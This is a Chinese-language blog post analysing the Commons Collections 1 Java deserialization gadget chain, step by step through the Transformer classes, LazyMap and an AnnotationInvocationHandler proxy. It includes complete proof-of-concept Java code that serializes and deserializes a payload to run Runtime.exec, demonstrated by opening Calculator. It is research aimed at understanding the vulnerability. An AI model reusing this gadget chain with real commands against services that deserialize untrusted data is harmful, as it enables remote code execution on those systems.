CommonCollections1利用链分析
2021-01-26   # JAVA安全

CC1 链的关键在三个实现了Transformer接⼝的类 ChainedTransformer ConstantTransformer InvokerTransformer,Transformer 顾名思义就是一个转换器用来处理传入的对象,然后将处理完的对象返回。

** commons-collections-3.1.jar!/org/apache/commons/collections/Transformer.class **

image-20210126111742092

InvokerTransformer

先来看 InvokerTransformer 类是如何实现 transform 方法的

org.apache.commons.collections.functors.InvokerTransformer.class#transform()

image-20210126111944377

获取传入对象的类,接着利用反射执行类中的任意方法,其中 this.iMethodName, this.iParamTypes, this.iArgs 都是可控的在构造函数中赋值。 这部分就是 CC1 链最终执行命令的地方,传入一个 Runtime 类对象,利用反射执行 exec 方法。

image-20210126112806087

所以直接找到⼀个类,它在反序列化的 readObject 里直接或间接调用了 InvokerTransformer 的 transform 方法,并且参数可控,是这样吗?肯定不是我们都知道待序列化的对象和所有它使⽤的内部属性对象,必须都实现了 java.io.Serializable 接⼝。我们需要传给 transform 方法的参数是 Runtime 对象,在序列化的时候肯定也属于内部属性对象,而它是没有实现 java.io.Serializable 接⼝的,所以即使找到了符合条件的类也没办法构造成序列化数据。

ChainedTransformer

接着来看第二个 ChainedTransformer 类是如何实现 transform 接口的

org.apache.commons.collections.functors.ChainedTransformer.class#transform()

image-20210126145247617

按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个 Transformer#transform() 作为参数。就像一个车间,每个工人处理完零件后交给下一个环节的工人处理,最后输出成品。

利用它我们可以构造 Transformer 数组 通过 ChainedTransformer#transform() 的链式调用机制+java的反射机制在反序列化时构造出 Runtime 对象,而不是在序列化之前就实例化 Runtime 对象。这样就可以解决 Runtime 不能序列化的问题。

这是通过反射获取 Runtime 对象的方法

1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
runtime.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

用 ChainedTransformer#transform() 链式调用机制的写法就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] transformers = new Transformer[]{
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Class.class);

最后调用 ChainedTransformer#transform() 即可,参数为 class对象(Class.class)

image-20210126162519139

把 chainedTransformer 序列化试试

image-20210126163910723

没报错,现在还需要找到一个类,在反序列化的 readObject 里直接或间接调用了 ChainedTransformer 的 transform 方法

并且调用 transform() 方法是参数可控,因为链式调用的起点 为 class对象(Class.class),是我们传入 transform() 方法的参数。这样条件有些苛刻了,即使参数可控,参数类型也对不上。继续想办法减少条件。

ConstantTransformer

我们看 ConstantTransformer 是如何实现 Transformer 接口的,直接返回了 this.iConstant ,this.iConstant 是在实例化对象时在构造函数里传⼊的⼀个对象。

image-20210126175849253

简单来说它的作用就是 包裹一个对象,在调用其 transform 方法时返回这个对象。

前边说到使用 ChainedTransformer#transform() 方法链式调用的起点是传入 transform() 方法的参数,也就是 class 对象(Class.class)。我们用 ConstantTransformer 包裹一个 class 对象,把它放到我们构造的 Transformer 数组的首位,作为链式调用的起点。

随便传入一个参数都能调用成功。

image-20210126182108659

现在我们只需要找到一个类,在反序列化的 readObject 里直接或间接调用了 ChainedTransformer 的 transform 方法即可。

LazyMap

ysoserial 使用的是AnnotationInvocationHandler+LazyMap#get()。

1
2
3
4
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

image-20210127102954057

AnnotationInvocationHandler 类的 readObject 方法中并没有直接调用到 Map 的 get 方法,但是在 AnnotationInvocationHandler#invoke() 方法调用了 get 方法,this.memberValues 可控。

image-20210127104206924

那么如何调用 AnnotationInvocationHandler#invoke() 方法呢?这部分涉及到 java 的动态代理。创建一个 AnnotationInvocationHandler 的代理类,当调用 AnnotationInvocationHandler 的代理类里的任意方法时都会先调用 AnnotationInvocationHandler#invoke() 方法,有点像php里的 _call() 只不过 _call() 在调用不存在的方法才触发。

所以现在的思路
创建一个 LazyMap 对象,设置 factory 为我们构造好的 ChainedTransformer,这样调用LazyMap#ge t()时就会调用 factory.transform() 即 ChainedTransformer.transform()。

创建一个 AnnotationInvocationHandler 类,设置 this.memberValues 为我们构造的 LazyMap,注意看 AnnotationInvocationHandler 的构造函数,第一个参数必须是注释,否则进不到 if 里赋值

接着为我们构造好的 AnnotationInvocationHandler 对象创建一个代理,然后只要调用代理后的对象中的任意方法即可出发 AnnotationInvocationHandler#invoke() 方法

image-20210127112129654

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Repeatable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazyMap);

// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

//调用代理对象的任意方法
proxyMap.size();

}
}

image-20210127112701877

这里代理对象是转换成了Map 类型,其实换成别的也是一样的

image-20210127121906963

最后只要随便找一个类,它的 readObject 方法有对我们的代理对象调用任意方法即可,满足这个条件的的类可太多了,ysoserial 中继续使用了 AnnotationInvocationHandler 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);

Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);

// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

// 在实例化一个 AnnotationInvocationHandler 包裹我们的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();


System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}

成功弹出计算器

image-20210127142323276

总结

分析完之后还是有很多疑问,最后得到的 poc 我 debug 的时候发现反序列化弹出计算器的过程,并没有按照我们的设想,而是在执行完 AbstractMapDecorator#entrySet()方法后触发的,在 invoke 中打的断点也是在弹出计算器之后才命中。

image-20210127154823936

而在 ChainedTransformer#transform() 方法中打的断点根本就没有命中。然后我去看 ysoserial 中 CC1 链是如何构造的,发现逻辑是一样的,我们写的 poc 并没有问题。用 P 牛的 demo 也是一样的问题,令人疑惑.jpg